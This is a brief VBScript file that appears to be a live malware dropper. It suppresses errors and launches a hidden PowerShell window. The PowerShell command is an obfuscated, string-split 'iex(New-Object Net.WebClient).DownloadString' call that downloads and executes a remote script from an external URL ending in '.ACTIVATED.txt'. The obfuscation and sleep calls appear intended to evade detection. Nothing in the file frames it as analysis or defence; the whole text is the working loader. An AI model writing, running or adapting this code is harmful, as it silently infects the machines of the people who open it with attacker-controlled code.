on error resume next
Set objShell = CreateObject ("WScript.shell")
objShell.Run "powershell $KXE='iex(NeW-OBJeCT NeT.W';$kds='eBCLIeNT).DOWNLO';Sleep 2;[BYTe[]];Sleep 3;$RHS='#$&@(''https://lambdacientifica.com/.f/.ACTIVATED.txt'')'.RePLACe('#$&@','ADSTRING');Sleep 1;($KXE+$kds+$RHS) | iex" , 0, True